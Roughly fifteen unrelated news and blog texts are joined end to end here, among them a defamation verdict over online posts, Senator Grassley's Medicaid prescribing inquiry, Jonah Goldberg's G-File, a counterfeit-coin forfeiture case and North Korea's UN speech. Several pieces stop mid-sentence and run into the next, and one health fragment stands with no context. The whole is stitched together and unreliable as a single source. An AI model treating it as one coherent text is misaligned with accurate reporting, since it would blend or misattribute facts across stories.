Brown may acknowledge that he made a "big mistake," but he hasn't learned from it. His violent temperament was more than evident in March 2011, when an interview with "Good Morning America" took a disturbing turn. When asked about the assault, Brown became irate and went into a rage off-stage, shattering a window with a chair and storming out of ABC's studio shirtless.THE BLOGGING BOOM THE BLOGGING BOOM Since March 2004, the "blogosphere" has doubled in size every five to seven months. There now are more than 53 million blogs. Key blog statistics: 150,000 -- The number of blogs created each day, or nearly two blogs per second. 1.6 million -- The number of daily postings, or more than 66,600 per hour. 39% of the blogs were in English. 31% of the blogs were in Japanese. 12% of the blogs were in Chinese. 2% of the blogs were in Spanish. 40% of those who start a blog are still posting on it three months later. Source: Technorati, a San Francisco firm that tracks blogs, as of June. Jury awards $11.3M over defamatory Internet posts A Florida woman has been awarded $11.3 million in a defamation lawsuit against a Louisiana woman who posted messages on the Internet accusing her of being a "crook," a "con artist" and a "fraud." Legal analysts say the Sept. 19 award by a jury in Broward County, Fla. — first reported Friday by the Daily Business Review — represents the largest such judgment over postings on an Internet blog or message board. Lyrissa Lidsky, a University of Florida law professor who specializes in free-speech issues, calls the award "astonishing." BEWARE OF BLOGS: Courts are asked to crack down on bloggers, websites Lidsky says the case could represent a coming trend in court fights over online messages because the woman who won the damage award, Sue Scheff of Weston, Fla., pursued the case even though she knew the defendant, Carey Bock of Mandeville, La., has no hope of paying such an award. Bock, who had to leave her home for several months because of Hurricane Katrina, couldn't afford an attorney and didn't show up for the trial. "What's interesting about this case is that (Scheff) was so vested in being vindicated, she was willing to pay court costs," Lidsky says. "They knew before trial that the defendant couldn't pay, so what's the point in going to the jury?" Scheff says she wanted to make a point to those who unfairly criticize others on the Internet. "I'm sure (Bock) doesn't have $1 million, let alone $11 million, but the message is strong and clear," Scheff says. "People are using the Internet to destroy people they don't like, and you can't do that." The dispute between the two women arose after Bock asked Scheff for help in withdrawing Bock's twin sons from a boarding school in Costa Rica. Bock had disagreed with her ex-husband over how to deal with the boys' behavior problems. Against Bock's wishes, he had sent the boys to the boarding school. Scheff, who operates a referral service called Parents Universal Resource Experts, says she referred Bock to a consultant who helped Bock retrieve her sons. Afterward, Bock became critical of Scheff and posted negative messages about her on the Internet site Fornits.com, where parents with children in boarding schools for troubled teens confer with one another. In 2003, Scheff sued Bock for defamation. Bock hired a lawyer, but he left the case when she no longer could afford to pay him. When Katrina hit in August 2005, Bock's house was flooded and she moved temporarily to Texas before returning to Louisiana last June. Court papers that Scheff and her attorney David H. Pollack mailed to Bock were returned to Pollack's office in Miami. After Bock didn't offer a defense, a Broward Circuit Court judge found in favor of Scheff. A jury then heard Scheff's arguments about damages. Pollack did not seek a specific amount for the harm he says Scheff's business suffered. "Even with no opposing counsel and no defendant there, $11 million is a huge amount," says Pollack, adding that Scheff is considering whether to try to collect any money from Bock. "The jury determined this was a significant enough issue. It's not just somebody's feelings are hurt; it's somebody's reputation is ruined." Bock says that when she moved back to her repaired house over the summer, she knew the trial was approaching but did not know the date. She says she doesn't have the money to pay the judgment or hire a lawyer to appeal it. She adds that if the goal of Scheff's lawsuit was to stifle what Bock says online, it worked. "I don't feel like I can express my opinions," Bock says. "Only one side of the story was told in court. Nobody heard my side."I am happy to announce that bounty for implementing Krita Assistant Tool in OpenToonz is 100% funded now! And that means our hired developer Ivan Mahonin is starting to work on this feature.
Much thanks to everyone who contributed to this bounty and thus helped to make a better free software to everyone!
The bounty was started by Skyler Madison (aka OrphanLast) who is famous for his regular video blog posts about OpenToonz. With continuous persistence he was pushing this bounty to success and contributed more than half of its total amount.
While our developer is working on implementing this task, OrphanLast is already planning next two (!) bounties. You can learn more from his twitter feed for more details.
Finally, last thing to mention is that we are preparing to release a new version of OpenToonz Morevna Edition in the next few days. Of course it will not have Krita Assistant Tool feature yet, but you can expect some other interesting features. But this is a topic for another post. Stay tuned!A South Australian atheist who successfully had his gun licence printed with a photo of him wearing a colander on his head has been forced to undertake a psychological test to prove he is fit to own firearms.Guy Albon, a 30-year-old disability support worker in Adelaide, told ninemsn he had his four guns and his licence confiscated after police became suspicious of his strange photo.When he had his licence renewed |
ptoms often resemble flu and include high fever, severe headache, stiff neck, rash, nausea, vomiting and fatigue.
-- The Associated PressAlberta Premier Jim Prentice rejected repeated calls for an apology during Tuesday’s question period as opposition parties criticized the premier for appearing to blame Albertans for the province’s oil woes last week.
Twitter users launched the nationally-trending hashtag #PrenticeBlamesAlbertans last week after Prentice suggested on a CBC radio talk show that Albertans need only “look in the mirror” to see who’s responsible for the government’s $7-billion revenue shortfall, causing intense public backlash and internet memes mocking the PC government.
In the first set of questions of the spring legislative session, interim Wildrose Leader Heather Forsyth repeatedly asked Prentice to apologize for “blaming Albertans” for the PCs record of fiscal mismanagement.
“Albertans don’t deserve to be the scapegoat for the failures of your government, whether it’s the past or the present. Just how much are you going to make Albertans pay for the mistakes of your government?” asked Forsyth.
Prentice responded by saying he takes responsibility for his comments, noting even “former members” of the Wildrose know that “I have been the harshest critic of former governments and that is in fact why I’m here in this position.
“I intend to continue to serve Albertans and I intend to continue to take responsibility for what I say.”
Alberta Liberal Leader David Swann critisized the government for fostering a “negligent fiscal structure” and asked Prentice what he plans to do so Albertans aren’t “left sweeping up broken dreams after the mirror shatters.”
Prentice said he doesn’t want children in Alberta to inherit broken dreams but rather sound finances, touting the government’s March 26 budget as a 10-year fiscal plan to get the province off the oil revenue roller coaster.
Also calling for Prentice to apologize, Alberta NDP Leader Rachel Notley said Prentice “should acknowledge that it’s his party’s failures that have left Alberta so financially vulnerable.”
Prentice defended himself by saying he is “one of the harshest critics” of the way past PC governments have managed the province’s finances “and that is why I am in this chamber, that is why I intend on doing the right thing for Albertans.”
matthew.dykstra@sunmedia.ca
@SunMattDykstraDollars for Doctors How Industry Money Reaches Physicians
An influential U.S. senator is grilling officials in nearly three-dozen states, demanding to know how they are cracking down on physicians who prescribe massive amounts of potentially dangerous prescription drugs.
Iowa Republican Charles Grassley sent letters to 34 states Monday asking what steps they had taken to investigate doctors whose prescribing of antipsychotics, anti-anxiety drugs and painkillers to Medicaid patients far exceeds that of their peers.
The request is a follow-up to a 2010 letter Grassley sent all states that requested statistics on top prescribers of these drugs.
“These types of drugs have addictive properties, and the potential for fraud and abuse by prescribers and patients is extremely high,” Grassley wrote in Monday’s letters. “When these drugs are prescribed to Medicaid patients, it is the American people who pay the price for over-prescription, abuse, and fraud.”
ProPublica reported in November that Florida allowed at least three physicians to keep treating and prescribing drugs to the poor amid clear signs of possible misconduct. One doctor kept prescribing narcotic pain pills to Medicaid patients for more than a year after he was arrested and charged in 2010 with trafficking in them.
A number of the top-prescribing Medicaid doctors around the country are listed in our Dollars for Docs database of payments made by 12 pharmaceutical companies to physicians for speaking and consulting Medicaid, jointly funded by the states and federal government, provides health care coverage to about 60 million low-income enrollees.
Grassley, the senior Republican on the Senate Judiciary Committee, has long argued for greater transparency in health care. The painkillers and mental health drugs Grassley is inquiring about are among the top drivers of Medicaid drug spending.
His letter to Ohio notes that the top prescriber of the anti-psychotic Abilify wrote 13,825 prescriptions in 2009 — about 54 prescriptions per weekday. Ohio paid $6.7 million for that those prescriptions, state officials reported to Grassley.
The biggest prescriber of another anti-psychotic, Seroquel, wrote 18,890 scripts at a cost of $5.7 million. Grassley wrote the tally would amount to nine prescriptions per hour. When Ohio submitted the data to Grassley last year, it did not identify the doctors by name or license number.
“After an extensive review of prescribing habits of the serial prescribers of pain and mental-health drugs in Ohio, I have concerns about the oversight and enforcement of Medicaid abuse in your state,” he wrote. “While I am sensitive to the concerns of misinterpretation of the data you provided, the numbers themselves are quite shocking.”
Grassley’s letter to Maine cites a physician who wrote 1,867 prescriptions for the powerful painkiller OxyContin in 2009, nearly double the second-highest prescriber. The doctor also wrote 1,723 prescriptions for another painkiller, Roxicodone, nearly three times as many as the next highest prescriber.
Calls to officials in Ohio and Maine have not been returned.
Update Feb. 6, 2012: A spokesman for Ohio’s Medicaid program now says the information the state submitted to Grassley in 2010 may have been misleading. The data for its top prescribers of Abilify and Seroquel did not reflect the prescriptions of a single physician, according to Benjamin Johnson of the Ohio Department of Job and Family Services. Instead, they were aggregations of prescriptions written by a group of providers. During 2008 and 2009, pharmacists attributed prescriptions to a generic provider code if they were unsure of a physician’s individual code, Johnson says. Hospitals were also included among the state’s highest prescribers, and Ohio plans to send Grassley a new list of its highest-prescribing physicians, Johnson says.
In his letters to the 34 states, Grassley asked that officials tell him by Feb. 13 what action, if any, they have taken against top prescribers, whether those doctors are still eligible to bill Medicaid, whether any of the doctors were referred to their state medical boards for investigation, and what systems have been set up to track possibly excessive prescribing, among others.
Grassley is sending letters to 12 other states that never provided him data, as requested, on their top Medicaid prescribers. Four other states will not receive follow-up letters because the senator felt their initial responses to his 2010 letter were adequate.
ProPublica reported in November that since Grassley’s initial letter requesting the data in 2010, Louisiana, Arizona, Oklahoma and New York have kicked some high-prescribing physicians out of Medicaid. California has temporarily suspended or placed restrictions on 15 to 20 doctors in the past two years for prescribing disproportionately high volumes of painkillers and antipsychotics to Medicaid patients.
But Grassley said more needs to be done.
“When a doctor writes more prescriptions than seems humanly possible, it makes sense to ask questions,” he said in a statement to ProPublica. The statement noted that some states never responded to his original letter in 2010.
“If state and federal taxpayers are being cheated because of inappropriate prescriptions,” Grassley said, “the state and federal governments have to get to the bottom of it and stop it.”(Kena Betancur/AFP/Getty)
EDITOR’S NOTE: The following is Jonah Goldberg’s weekly “news”letter, the G-File. Subscribe here to get the G-File delivered to your inbox on Fridays.
Dear Reader (and all citizens who prefer their “news”letters just slightly underdone),
I’m sitting in the lovely, albeit rain-soaked, courtyard at the Royal Palms hotel in Phoenix, three hours behind the East Coast and at least five hours behind on this “news”letter. And I have no idea what I should or can write about today.
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Bubba Bites Back
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I guess we can start with Bill Clinton’s outburst against the Black Lives Matter crowd yesterday. Again, since the caffeine hasn’t even sunk in yet, let’s kick this bullet-point style. (I find transitions between paragraphs to be something of a burden these days. For instance, I wrote this piece on contested conventions for the Corner the other day in about 25 minutes. I let my research assistant Jack out of his kennel and told him, “Sniff for typos, boy. That’s a good boy.” He caught a bunch, but also said, “You don’t need to number your points. It reads fine without them.” He was right, of course. But that didn’t spare him a savage beating. I told him, “It puts the numbers back in, or it gets the hose again.”)
RELATED: Bill Clinton Tries Sister Souljah, the Sequel, but It Won’t Fly with Today’s Progressives
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So where was I? Oh right Phoenix, Clinton, Black Lives Matter. I found the whole episode interesting for three however many reasons I come up with below.
1. Bill is doing something Hillary won’t: defend the Clinton record of the 1990s. Hillary’s happy to campaign on the gauzy nostalgia for the 1990s, when the gauzy nostalgia helps her. But the moment the politics change from taking credit to taking responsibility, she quietly slinks away like Joe Biden after farting at an arms-control summit. (“Look at Putin’s face! He thinks it was his translator! He’s gonna have that guy killed!”)
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2. Unlike Hillary, who thinks her place in the history books is in front of her, Bill knows that 95 percent of his obituary has already been written. So he has a much more vested interest in defending his record. By moving to the left of her husband (where she was in the 1990s!) on economics, criminal justice, foreign policy, etc., Hillary slowly strips away the substance of Bill’s presidency. Take away the Balkan war, banking reform, etc., and what’s left of the Clinton legacy? Pretty much the fact that he singlehandedly turned the West Wing into a penile colony.
RELATED: Hillary’s Still Weak
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3. Oh, at this point, I should also say Bill Clinton is right! The Black Lives Matter movement is not without its legitimate complaints and arguments — I’m in favor of some criminal-justice reforms. But they want to work from the assumption that there are no black bad actors in this story. It’s white supremacy all the way down. The problem with this is that even if white supremacy — whatever people mean by that — is the massive problem some lefties imagine, it still doesn’t excuse bad individual moral choices. Excuses don’t become explanations simply because you shout them. It’s a very weird corollary to social-justice logic. If you see everyone simply as representatives of groups — white oppressors and black victims — you withdraw the moral agency from individual actors on both sides of the equation (which, technically speaking, is racist). White people become agents of oppression and morally culpable even if they’ve done nothing wrong. Black criminals who prey on innocent black people become victims, about whom no one can say an unkind word.
4. One fun consequence of all this is that Bill very well could turn out to be a liability for Hillary, which would be kind of hilarious given that Hillary would be just another left-wing activist lawyer were it not for her husband. She rode her Arkansas mule all of the way to the White House gates only to see the sign reading, “No Mules Allowed.”
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RELATED: Hillary’s Democratic Party Is What an Actual ‘Establishment’ Looks Like
5. There’s an old cliché that we become more conservative as we get older. The social science on all this is more mixed than you might think, depending on what you mean by “conservative.” There’s definitely a tendency for people to become more curmudgeonly as they age. That’s certainly my experience. I find myself yelling at clouds a lot more than I used to. But that’s not what’s going on here. Bill Clinton is probably a good deal more liberal than he was 20 years ago. The problem is the Democratic party is a lot more liberal than it was 20 years ago. Bill’s locked-in to his positions (See item No. 2) and that means he’s sliding rightward on the ideological spectrum.
Times Change
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This is hardly all that extraordinary. Indeed, it’s normal. Again, I’m too tired to make with the fancy paragraph transitions so I’m going to throw a few more quarters in the bullet-point generator:
1. Herbert Hoover is still remembered as a very conservative small-government guy, despite the fact that he was a progressive who laid much of the ground work for the New Deal. He ran for president, much like Donald Trump, as a self-made millionaire and great manager. He was “the Great Engineer” who could bring the best practices of business to government.
2. FDR was certainly a liberal statist, but his positions on welfare and public-sector unions alone put him to the right of today’s Democratic party.
3. Richard Nixon was, simply, a liberal by today’s standards:
a. He was a statist. You could say he was for Obamacare before Obama and he pushed wage and price controls.
b. While he exploited racial issues to get elected, he was programmatically a racial liberal. He launched the first significant affirmative-action programs and pushed the first big school-integration efforts in the South. He created the Office of Minority Business Enterprise.
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c. He loved the regulatory state. He created OSHA, NOAA, and of course the EPA.
d. Seventy-five percent of his Supreme Court appointees voted for Roe v. Wade.
e. He hated the “Buckleyites.”
There’s a natural human tendency to think that because you can’t stand the other guy — or gal — he or she must therefore be your ideological opposite. The Brown Shirts and Red Shirts weren’t philosophical antipodes, they were Coke and Pepsi fighting for the same slice of the radical market by changing their recipes ever so slightly. Bill Clinton, as president, wasn’t that left-wing and Richard Nixon wasn’t that right-wing. But their enemies started from the assumption that any political opponent we hate this much must have a wholly different ideology from us. And when your enemies hate someone on your “side,” that causes you to embrace your guy even more.
Consider George W. Bush. Because I am pressed for time, I’ll refer you to a speech I gave to the Conservative party of New York in 2004 (if you read the whole thing, please note that weird opening was a Howard Dean joke, which was pretty timely back then):
So, this guy’s in the hospital and the nurse gives him a hot-tea enema. The patient screams, “Yeeaahhhh!” “What!?” exclaimed the nurse. “Is it too hot?” “No!” replied the patient, “It’s too sweet!” I bring this up because it captures a certain dynamic to the discussions of the Bush presidency. For more than a year, we’ve heard one leftist after another complain that President Bush is the most radical president in modern history. I don’t just mean in foreign policy — where more than a little radicalism has been long overdue — but here at home as well. Harold Meyerson actually compares George W. Bush to Jefferson Davis, because they both share such a fundamental opposition to progressive government. We’re told that Bush has gutted education, health care, and protections for the elderly. He’s declared that puppies with thorns in their paws will just have to suffer, and that John Ashcroft plans on confiscating balls of yarn from kittens across America.... It’s as if they showed up for algebra class and started reading from their French textbooks. Not only do I have no idea what page they’re on, I really have no idea what they’re talking about. A few quick facts. George W. Bush has: – increased federal spending on education by 60.8 percent; – increased federal spending on labor by 56 percent; – increased federal spending on the interior by 23.4 percent; – increased federal spending on defense by 27.6 percent. And of course he has: – created a massive department of homeland security; – signed a campaign-finance bill he pretty much said he thought was unconstitutional (thereby violating his oath to uphold, protect, and defend the Constitution); – signed the farm bill, which was a non-kosher piñata filled with enough pork to bend space and time; – pushed through a Medicare plan which starts with a price tag of $400 billion but will — according to every expert who studies the issue — go up a gazillion-bajillion dollars over the next decade; – torched Republican — and American — credibility on trade, in both agriculture and steel; – got more people working for the federal government since the end of the Cold War; – not vetoed a single spending or any other bill, and he has no intention of eliminating a single department; – sold out like a fire sale at Filene’s on Title IX, a subject I know a little about because my wife is the foremost expert in the universe on it; – pushed to send more Americans to Mars while inviting a lot more illegal immigrants to hang out here in America.
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Such criticisms of President Bush were rare during his presidency for a lot of reasons. Liberals didn’t want to point out such things because they had bought into a theory that Bush was Barry Goldwater. Too few Republicans made this case because the elected ones and their lobbyists took advantage of the Bush gravy train. More important: There was a war on. Bush’s critics on the left were so staggeringly shabby, hypocritical, and ad hominem towards a wartime president, it was psychologically uncomfortable to open a second front against him. Moreover, for a certain swath of conservatives Bush benefitted from a kind of white identity politics. He was a born-again Christian from Texas who spoke ’Merican. Presidents have become the foremost totems in the culture war, a battle that is often fought at a great emotional distance from mere public-policy disagreements. Hating Bush was simply required of right-thinking progressives who laughed at anything Jon Stewart said. (They didn’t think it was “funny because it’s true.” They thought it was true because Jon Stewart was funny.)
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Trump Stakes
It’s this last point that worries me most about Donald Trump. I’ve already written a lot about how Donald Trump’s cult of personality is corrupting conservatism. (See, for example, “Trump’s Cult of Personality Is Corrupting Conservatism.”) If Trump is for something — single payer, eminent-domain abuse, cozying up to Putin, whatever — suddenly millions of self-described conservatives (and many of their self-anointed spokesmen) abandon their ideological commitments.
Lots has been said about how Trump represents the intrusion of reality-show culture and the celebrification of politics. That’s all true. But he also represents the return of Nixonian “conservatism.” His policy positions — such as they are — are fundamentally statist (and authoritarian). They are perceived as right-wing because Trump, like Nixon, has a gift for exploiting grievance politics, not just in racial terms but in class terms as well.
RELATED: After Wisconsin, Is Donald Trump Unraveling?
And that’s fair insofar as “right-wing” and “conservative” operate on separate tracks. In America, to be a classical liberal puts you on the right end of the political spectrum. But as a historical matter, it doesn’t have to work that way. In Europe classical liberalism was properly seen as a phenomenon of the Left, because it was opposed to the statism of Church and Throne. In America, classical liberalism became conservative because American conservatism aims to conserve the radical principles enshrined in the Declaration and the Constitution. (It’s telling that many of these “alt right” types deride constitutionalists as “paper worshippers,” “vellum supremacists,” and “parchment fetishists” while extolling royalist conservative opponents of the Enlightenment.)
I don’t think Trump will ever be president, but he represents a return of a ‘right-wing statism’ that is repugnant to me.
Progressives brought statism to American soil. They largely succeeded by replacing the aristocracy of noble blood with the aristocracy of “expertise.” As a result, classical liberals migrated to the right side of the political spectrum. I don’t think Trump will ever be president, but he represents a return of a “right-wing statism” that is repugnant to me. As Yuval Levin put it, Trump “poses a direct challenge to conservatism, because he embodies the empty promise of managerial leadership outside of politics.”
I often read the Twitter profiles of the Trump supporters who pester me. Sometimes I discover they’re phony “TrumpBots” created by some marketing firm. Sometimes I see that they’re members of the coprophagic phylum of white supremacists using Trump as a blocking tackle for their repugnant cause. But just as often, I see these people describing themselves as “classical liberals” or “constitutionalists” or “Goldwater Republicans,” and my heart weeps. There’s nothing classically liberal about Donald Trump. To the extent he’s a conservative at all, he’s a throwback to a time when a Herbert Hoover and Richard Nixon were “conservatives.” Nixon’s politics of resentment led to his impeachment. Hoover’s “best practices” gave us the Depression and Franklin Roosevelt (whose policies made the Depression Great).
Both Hoover and Nixon were better, smarter, and more competent men than Donald Trump, but measured against their failures, I have no doubt that Trump would outshine them both.
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Various & Sundry
This was a very busy week. Normally my LA Times column, due Mondays, becomes my first syndicated column of the week (though I often tweak it for one reason or another before resubmitting it). But the LA Times wanted me to do a special piece on the response from readers on how to Stop Trump. (You can find it here.) The problem was that it meant I had to write a new column for the syndicate, hence this column on John Kasich as The Thing That Wouldn’t Leave. Moreover, the first Tuesday of every month I write a column for USA Today, also due Monday. I wrote that on Trump’s idea of “winning” as the only thing that matters. But, I was also up for a Happy Warrior column for the magazine, which I wrote on the The Walking Dead through the eyes of Mancur Olson. Today’s column is on Bernie Sanders’s essentially racist views on trade.
It has begun! The Spring NRO webathon is back. I will probably have a more forthright appeal next week. But for now, if you think NRO is doing it right, please help out. It matters a lot.
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Canine Update: Unfortunately, I don’t have too much to report. My wife, The Fair Jessica, is on solo dog duty while I’m out here in Phoenix for a few days. I have this ISI thing, but I’m also going to hunker down working on my book. One thing I haven’t told you about is Zoë’s strange relationship with a fox. We have a dog walker who takes a couple of afternoon walks with Zoë and Pippa so Jessica can get some work done. She has a whole pack that Zoë loves dearly. But even when Jessica has the beasts, she tries to meet up with the pack because it guarantees Zoë will empty her mischief batteries for at least a little while. Anyway, on the Cabin John trail — a fairly wild area near where we live that’s pretty much empty on workdays — Zoë routinely leaves the pack and takes off on her own to chase a fox. It happens pretty much every time. The weird thing is that the fox seems to wait for Zoë at the top of hill. It will stay there until Zoë sees her and then she essentially sticks her tongue out and yells in the canid common tongue “Nyah, nyah! You can’t catch me!” Obviously, I think it would be bad for all concerned if Zoë ever caught the fox. But I doubt that will ever happen.
Here’s some other stuff, in descending order of word count.
Why did the seal cross the road? To get to the sea food restaurant on the other side
Penguin swims 5,000 miles every year for reunion with the man who saved his life
A theater in the middle of the Egyptian desert has been destroyed
New Jersey mall Easter Bunny involved in brawl with customers
News you can use: How to jump from a building into a dumpster
How far back in time could you go and still understand English?
Are careless people skewing the results of scientific studies?
Take a tour of New York City’s secret trash museum
Mapping the sounds of Greek Byzantine churches
The opening lines of Beowulf in Old English
Why pinball was once banned in New York
How Alfred Hitchcock staged his scenes
The slave who stole a Confederate ship
The Thing from The Thing’s perspective
Why some people have “rainbow vision”
The forgotten history of fat men’s clubs
Waffle House has its own music label
Wielding a lightsaber in virtual reality
The fanciest Taco Bells in existence
Is our universe a giant hologram?
A history of English in five words
The tricky ethics of living longer
The origin of the word “pundit”
The trouble with transporters
Is the next Picasso a robot?
Life, uh, finds a way?
Debby’s Friday linksNEWARK — Federal investigators in New Jersey say they have uncovered a $5.4 million plot to defraud a U.S. Mint-run program that redeems unusable dimes, quarters and half dollars.
In court papers filed last week, federal prosecutors lay out a daring scheme led by several U.S.-based metal recyclers - one based in New Jersey -- to import counterfeit coins from China in an effort to take advantage of the U.S. Mint's century-old Mutilated Coin Program.
The program pays recyclers nearly $20 per pound for dimes, quarters and half dollars that have been bent, broken, corroded or no longer can be counted by machine.
The suspicions of investigators with U.S. Customs and Border Protection were raised in 2009 after they witnessed an uptick in shipments of mutilated coins coming through the Port of Los Angeles, prosecutors say. They reported their concerns to Homeland Security Investigations.
Most of the shipments were coming from China, with recyclers claiming the coins were discovered in cars exported to China as scrap metal, prosecutors say.
Among the tip-offs for investigators was the number of half dollars coming in from China for redemption outpaced the total the U.S. Mint has made, they say.
"Interestingly, United States Mint personnel also believe that more half dollars have been redeemed by China-sourced vendors in the last 10 years than the United States Mint has ever manufactured in its history," according to a forfeiture complaint filed in U.S. District Court on March 20 by Assistant U.S. Attorney Lakshmi Srinivasan Herman.
In late 2010, federal agents investigated three shipments of damaged coins in Los Angeles that were imported by Guang Han Trading of New Brunswick, court papers say.
A sampling of the coins, valued at nearly $400,000, showed that they contained aluminum and silicon, elements not present in coins manufactured by the U.S. Mint, they say.
And the coins were all "mutilated" in a similar fashion, prosecutors say. They were "mechanically cut or deformed and corroded by some type of unknown chemical before being washed," the court papers say.
Guang Han Trading is owned by Qianru "Amelie" Xu and imports mutilated coins from China into the U.S, according to court papers.
She could not immediately be reached for comment. No one has been arrested in the case, according to New Jersey federal prosecutors. And prosecutors declined to say whether they intend to bring criminal charges.
The court papers filed last week seek the forfeiture of some $5.4 million that the U.S. Mint was scheduled to pay three different companies for 2014 shipments of mutilated coins that have been found to be counterfeit, prosecutors say.
In June 2014, the coins were delivered to a foundry in Cedar Rapids, Iowa that melts coins for the U.S. Mint, they say. A sampling of the coins showed that they contained aluminum and silicon, prosecutors say.
The feds are also seeking a Dallas property that belongs to Kei Yi Loung, the owner of a company called American Naha that exports scrap metal to China and imports mutilated coins into the U.S., the court papers add.
Between 2012 and 2014, American Naha received approximately $6.4 million in reimbursements from the U.S. Mint for mutilated coins, the court papers say. Loung, who also goes by Kenny Loung, could not be reached for comment.
Prosecutors are trying to seize a 2014 Black Porsche Cayman Coupe that Loung paid $81,000 for in October 2013.
Prosecutors say Loung, along with other metal recyclers, have claimed that the coins they redeemed in the U.S. were found in cars exported to China for scrap metal.
But a 2009 analysis by Customs and the U.S. Treasury's Office of the Inspector General compared the numbers of cars exported to China against the number of damaged coins imported from China, court papers say.
"There would have to be approximately $900 in coins in every vehicle ever exported to China as scrap metal in order to account for the total amount of waste coins imported from China for redemption," Herman writes.
The second largest importer of scrap metal from the U.S. is India and, to date, the U.S. Mint has not received any mutilated coins from there, the complaint says.
Each year, according to the complaint, the U.S. Mint loses money with its mutilated coin program "because it only makes a profit on the metal it recovers, which is much less than the redeemed value."
The coins are melted and reused.
In 1999, the Mint began scheduling quarterly "melts" of mutilated coins at its foundries to keep up with an increased volume of "waste coins" coming in from China, the court papers say.
"Previously, the melts were scheduled much less frequently and the United States Mint was able to accept all mutilated coins at its facility in Philadelphia," the complaint adds.
Thomas Zambito may be reached at tzambito@njadvancemedia.com. Follow him on Twitter @TomZambito. Find NJ.com on Facebook.Cre'Von LeBlanc seemingly came out of nowhere in 2016 to be a contributor for the Chicago Bears.
After going undrafted last offseason, LeBlanc landed with the New England Patriots. He put together a strong training camp and preseason but was part of New England's final cuts.
Chicago snatched him off before the start of the season, and now he is working on improving his footwork this offseason.
LeBlanc can be seen in the video going through a variety of different drills ahead of OTAs for the Bears that will take place next month.
The former Florida Atlantic standout appeared in 13 games with nine starts for the Bears in 2016 and finished the year with 44 tackles, 10 pass deflections, two interceptions and one defensive touchdown.
LeBlanc is expected to compete for a roster spot this offseason following Chicago's additions of Prince Amukamara, B.W. Webb and Marcus Cooper in free agency.Former President Bill Clinton golfs with President Barack Obama at Andrews Air Force Base in Md., on Sept. 24, 2011. (AP Photo/Evan Vucci)
(CNSNews.com) - Only 20 percent of Democrats say that President Barack Obama has been a better president than Bill Clinton, according to Gallup, while 56 percent of Americans told Gallup they believe Obama has been the same or worse than George W. Bush.
Among Independents, 67 percent said Obama is the same or worse than Bush.
Bill Clinton was one of only two presidents in history impeached by the House of Representatives. Near the end of his term, in the week before the November 2008 election, George W. Bush had 25 percent approval in the Gallup poll.
From Sept. 15-18, Gallup asked 1,004 adults: “Overall, do you think Barack Obama has been a better president, about the same, or worse than George W. Bush?” Gallup also asked the same question comparing Obama to Clinton.
Overall, 22 percent said Obama was about the same as Bush and 34 percent said he was worse than Bush. Only 43 percent said they thought Obama was a better than Bush.
Thirty-five percent, overall, said Obama was about the same as Clinton and 50 percent said he was worse. Only 12 percent of the Americans polled by Gallup said Obama was a better president than Clinton.
Among Democrats, moreover, only 20 percent said Obama was a better than Clinton--while 51 percent said he was about the same and 29 percent said he was worse.
A similar percentage of Democrats—21 percent—said Obama is about the same (15 percent) or worse (6 percent) than Bush.
Twenty-nine percent of Independents said Obama is the same as Bush and 38 percent said he is worse—for a total of 67 percent of Independents who said Obama is the same or worse than Bush.
Fully 90 percent of Republicans say Obama is the same or worse than Bush.Inhouse League Season Ends - Stats Reset Incoming
The Inhouse League's January season has come to an end and the prizes are being sent out, an impressive charge up the leaderboard from Spoofs rounding off the season.
Here is the final leaderboard.
Pos. Name MMR Win Loss Change 1. Soodle 1514 60 38 0 2. Risa 1441 22 7 0 3. Spoofs 1415 58 50 +4 4. Watsons_Water 1413 22 9 0 5. Flaminis 1393 13 2 0 6. 1cHiGo_ 1375 64 54 NEW 7. THOM 1367 56 45 -4 8. Dae 1336 33 25 0 9. Fowdall 1323 30 22 0 10. Welp 1312 30 26 NEW
It was an unfortunate end for infernokoi who dropped off the leaderboard entirely to be replaced by teammate 1cHiGo_. Thom and Meep lost out falling several places each in the last games of the season.
The Prize Distribution is as follows -
1st - Soodle £50
2nd - Risa £35
3rd - Spoofs £15
Stats reset will happen shortly, stay tuned for more information regarding a prize pool season in the future as well as the most improved Dominoes award and the worst play of the month.The North Korean foreign minister called the U.S. president “mentally deranged” for his speech on Tuesday.
On Saturday, North Korean Foreign Minister Ri Yong-ho addressed the general debate of the United Nations General Assembly in New York.
His speech came days after U.S. President Donald J. Trump used the same platform to threaten to “totally destroy” North Korea should the United States need to defend itself or its allies.
Ri’s address also comes after North Korean leader Kim Jong-un released an unusual statement through North Korea’s state-run media, addressing Trump’s remarks in the first-person and threatening to “tame” the U.S. leader.
The foreign minister’s address was a rebuttal of sorts to Trump’s address, defending North Korea’s nuclear weapons and ballistic missile programs.
Ri told world leaders that his country was “only a few steps away from the final gate of completion of the state’s nuclear force.”
Rebuking recent sanctions resolutions at the United Nations Security Council, he added that there was no “chance that North Korea would be shaken an inch or change its stance due to the harsher sanctions by the hostile forces.”
Turning to Trump, Ri used the U.S. president’s own words to criticize him. Where Trump had said Kim Jong-un was on a “suicide mission,” Ri instead alleged that it was Trump who was on a “suicide mission.”
“Due to his lacking of basic common knowledge and proper sentiment, he tried to insult the supreme dignity of my country by referring it to a rocket,” Ri said. “By doing so however, he committed an irreversible mistake of making our rocket’s visit to the entire U.S. mainland inevitable all the more,” he added.
Matching Kim Jong-un’s words, Ri called Trump a “mentally deranged person full of megalomania.”
“Trump might not have been aware what is uttered from his mouth, but we will make sure that he bears consequences far beyond his words, far beyond the scope of what he can handle even if he is ready to do so,” Ri added.
“The U.S. claims that the DPRK’s possession of H-bomb and ICBM constitutes a global threat, even at the U.N. arena,” Ri continued.
“But such claim is (sic) a big lie which is just tantamount to the notorious big lie faked up by the U.S. in 2003 about the existence of weapons in Iraq of weapons of mass destruction in order to invade that country.”
Ri additionally defended North Korea’s nuclear status by claiming it was a “responsible” nuclear state and that it did not seek the approval or recognition of its nuclear status by any country.
Following his address, Ri met with UN Secretary-General Antonio Guterres, who expressed concern “over the tensions on the Korean Peninsula and appealed for de-escalation and full implementation of relevant Security Council resolutions,” according to a UN statement.All too often, the book a film is based on becomes the default watermark for the story being told. And why shouldn’t it be? After all, it existed first, doesn’t that inherently make it the ideal form of the story? Some would say that the more you stray from the source material, the less successful your film is. It’s almost as if telling the story becomes secondary and the primary goal is simply transitioning mediums accurately.
I’m as guilty as the next for unfairly judging an adaptation before reviewing its merits as a film that should—and often does—stand on its own. I try my best to avoid this type of behavior but frankly, it feels natural to become precious with the things we read. The very practice of reading feels personal in a way that viewing a film in a room with 100 strangers doesn’t.
Suddenly, some filmmaker has decided that they’re going to insert themselves into a book I’ve established a relationship with? Of course my knee |
